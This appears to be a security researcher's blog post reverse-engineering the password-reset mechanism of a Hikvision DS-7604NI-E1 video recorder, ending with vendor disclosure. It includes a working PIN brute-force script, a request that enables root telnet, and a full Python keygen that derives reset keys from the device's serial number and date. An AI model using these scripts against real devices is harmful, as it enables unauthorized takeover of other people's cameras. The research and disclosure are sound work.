Unfortunately, generic IP cameras are notorious for their poor security practices. Most of the time, the manufacturers don’t force secure passwords, and more often than not you can sign in with default passwords. Some do, though - one of these manufacturers is Hikvision. Upon logging in for the first time with the password 12345 , it forces you to change it. Is this enough to stop attackers from accessing the device? Turns out it isn’t.

When I first started testing the security of my Hikvision DS-7604NI-E1 NVR (running FW V3.0.8), it was because I had forgotten the pin I set to log in. Some googling lead me to Hikvision’s Search Active Devices Protocol tool, which scans for devices on your subnet and, among other features, has an option to reset the admin password of a device.

When I installed the tool and selected the “Forgot Password” option, it prompted me to a security key, which I didn’t have at the time.

So that wouldn’t really work for me - I needed another way to get in.

I took a look at the admin panel, accessible on port 80. I intercepted traffic with Burp Suite, and found out that when an user attempts to log in, an XHR GET request is made to an endpoint located at /PSIA/Custom/SelfExt/userCheck . The username and password itself are included as a basic authorization header. The request would return an XML document with a <statusValue> field, which returns 401 if the authentication fails and probably 200 if it succeeds. I also remembered that the pin could only contain digits, and was probably 5-6 digits long. Furthermore, there’s no lockout if you enter a wrong pin too many times.

Knowing all of this, I created a quick and dirty brute force script in Python that just iterates through a range of pins and checks the response:

from requests import get from base64 import b64encode url = 'http://192.168.1.133/PSIA/Custom/SelfExt/userCheck' for i in range ( 10000 , 999999 ): atoken = b64encode ( b"admin:%i" % i ) auth = ( "Basic %s" % atoken . decode ( "utf-8" )) r = get ( url , headers = { 'Authorization' : auth }) if "<statusValue>401</statusValue>" not in r . text : print ( f"Found pin: { i } " ) break

This yielded me my pin in about 30 seconds of running it.

However, the password reset option still intrigued me - how was the code checked on the system? Is it possible to generate it locally?

To find this out, I needed the binaries off the device. Luckily, gaining root access to the device is easy once you have the admin password: You simply need to send a PUT request to an endpoint at /ISAPI/System/Network/telnetd with the following data:

<?xml version="1.0" encoding="UTF-8"?> <Telnetd> <enabled> true </enabled> </Telnetd>

This enables the telnet daemon, which you can connect to and log in as root and the admin password. This drops you in a busybox shell:

$ telnet 192.168.1.133 Trying 192.168.1.133... Connected to 192.168.1.133. Escape character is '^]'. dvrdvs login: root Password: BusyBox v1.16.1 (2014-05-19 09:41:10 CST) built-in shell (ash) Enter 'help' for a list of built-in commands. can not change to guest! [root@dvrdvs /] #

After some basic enumeration, I realized that when the device is booted up, a script located at /home/hik/start.sh is executed, which extracts some binaries to /home/app , sets some things up and finally executes a binary /home/app/hicore . This seemed to be what I was looking for considering its size, so I uploaded it to my PC using FTP and ran strings on it. Judging from the output of that alone, it seemed like this one binary was responsible for pretty much everything: Hosting the web frontend, backend, communicating with SADP, checking passwords, driving connected cameras, etc.

Having a look at it with IDA, I searched for the string security code and found references to Invalid security code and Default password of 'admin' restored at 0x9C0E6D, which seemed to be what I was looking for. There is also 12345 , which is probably what the password gets reset to:

These were referenced by a subroutine at 0xC51C0, which looks like this:

Working backwards from the invalid password branch, it seems like it compares two strings, one of which is produced by a subroutine at 0xC2D04 - the other one is probably user input.

The subroutine at 0xC2D04 looks like this:

Just by looking at the disassembly, it’s already apparent that this is a function which takes two parameters - an input array of chars as a seed and a pointer to an output location - and generates a code from the seed. We’ll get to what the input is in a bit. For now, we can make things a bit clearer by generating pseudocode of the function using the Hex-Rays decompiler:

Seems like it iterates through the input, generating a magic number (named v5 by IDA) using a for loop and some very basic arithmetic (multiplication and a XOR) using the loop counter and the numerical value of each character. We can represent this in Python like so:

def keygen ( seed ): magic = 0 for i , char in enumerate ( seed ): i += 1 magic += i * ord ( char ) ^ i

This is then multiplied by a hardcoded number 1751873395, and formatted into a string as an unsigned long . In Python, we can do this using numpy :

from numpy import uint32 [...] secret = str ( uint32 ( 1751873395 * magic ))

Finally, a for loop iterates through each character in the string, and generates a new string using some hardcoded offsets and the value of the character. In Python:

key = "" for digit in secret : digit = ord ( digit ) if digit < 51 : key += chr ( digit + 33 ) elif digit < 53 : key += chr ( digit + 62 ) elif digit < 55 : key += chr ( digit + 47 ) elif digit < 57 : key += chr ( digit + 66 ) else : key += chr ( digit ) return ( key )

However, since the characters are simply being generated using a couple of offsets, this is essentially a substitution cipher and the above block can be replaced with:

c = str . maketrans ( "012345678" , "QRSqrdeyz" ) return secret . translate ( c )

The finished keygen function is quite short:

def keygen ( seed ): magic = 0 for i , char in enumerate ( seed ): i += 1 magic += i * ord ( char ) ^ i secret = str ( uint32 ( 1751873395 * magic )) c = str . maketrans ( "012345678" , "QRSqrdeyz" ) return secret . translate ( c )

Okay, that’s great and all, but what exactly is being fed into this as the seed? Taking another look at the disassembly, it seems like the input is a string fetched from memory combined with the device’s date formatted as {string}{yyyy}{mm}{dd} :

The same memory location is also referenced at 0xC51FC, where it’s being used as a parameter for a sprintf :

So this mystery string is the device’s serial number. While this can be taken from the SADP tool, it would be easier if this was fetched automatically, along with the date. I looked for strings with “serial” in them and found an XML response template:

This looks an awful lot like UPNP data. At 0xAE427D, we can even see the “location” of this file. Sending a GET request to /upnpdevicedesc.xml does indeed fetch us the serial number, and the device’s local time is even included in the response headers - that’s literally all we need to generate the code. We can now write a function, which generates the input for the keygen:

from requests import get import sys [...] def get_serial_date ( ip ): try : req = get ( f"http:// { ip } /upnpdevicedesc.xml" ) except Exception as e : print ( f"Unable to connect to { ip } :

{ e } " ) sys . exit ( - 1 )

The serial number that the key generator expects is actually without the <modelNumber> at the beginning, so we need to remove that:

from re import search [...] model = search ( "<modelNumber>(.*)</modelNumber>" , req . text ). group ( 1 ) serial = search ( "<serialNumber>(.*)</serialNumber>" , req . text ). group ( 1 ) serial = serial . replace ( model , "" )

We also need to reformat the date:

from datetime import datetime [...] datef = datetime . strptime ( req . headers [ "Date" ], "%a, %d %b %Y %H:%M:%S GMT" ) date = datef . strftime ( "%Y%m%d" ) return f" { serial }{ date } "

We can now finish the rest of the script:

#!/usr/bin/env python3 import sys from re import search from numpy import uint32 from requests import get from datetime import datetime def keygen ( seed ): magic = 0 for i , char in enumerate ( seed ): i += 1 magic += i * ord ( char ) ^ i secret = str ( uint32 ( 1751873395 * magic )) c = str . maketrans ( "012345678" , "QRSqrdeyz" ) return secret . translate ( c ) def get_serial_date ( ip ): try : req = get ( f"http:// { ip } /upnpdevicedesc.xml" ) except Exception as e : print ( f"Unable to connect to { ip } :

{ e } " ) sys . exit ( - 1 ) model = search ( "<modelNumber>(.*)</modelNumber>" , req . text ). group ( 1 ) serial = search ( "<serialNumber>(.*)</serialNumber>" , req . text ). group ( 1 ) serial = serial . replace ( model , "" ) datef = datetime . strptime ( req . headers [ "Date" ], "%a, %d %b %Y %H:%M:%S GMT" ) date = datef . strftime ( "%Y%m%d" ) return f" { serial }{ date } " if __name__ == "__main__" : if len ( sys . argv ) < 2 : print ( f"Usage: { sys . argv [ 0 ] } <ip>" ) print ( "Connects to a Hikvision device and generates a security key" ) sys . exit ( 1 ) seed = get_serial_date ( sys . argv [ 1 ]) print ( f"Got seed: { seed } " ) key = keygen ( seed ) print ( f"Generated security key: { key } " )

Running this generates a key which, when entered into SADP, indeed resets the password to 12345.

All in all, security through obscurity just doesn’t work. What’s worse than that is the fact that it may create a false sense of security, which can be abused by an attacker with malicious intents to work unnoticably. While my script doesn’t allow you to reset anyone else’s password but your own, since you have to manually enter it in SADP which only lists local cameras, it would be trivial to reverse engineer the SADP tool and its communications with the devices, and create software to mass-exploit this vulnerability.

I’ve been in contact with the vendor, who confirms that they swapped this weak key generator for a newer, and supposedly more secure one, in FW version V3.0.13.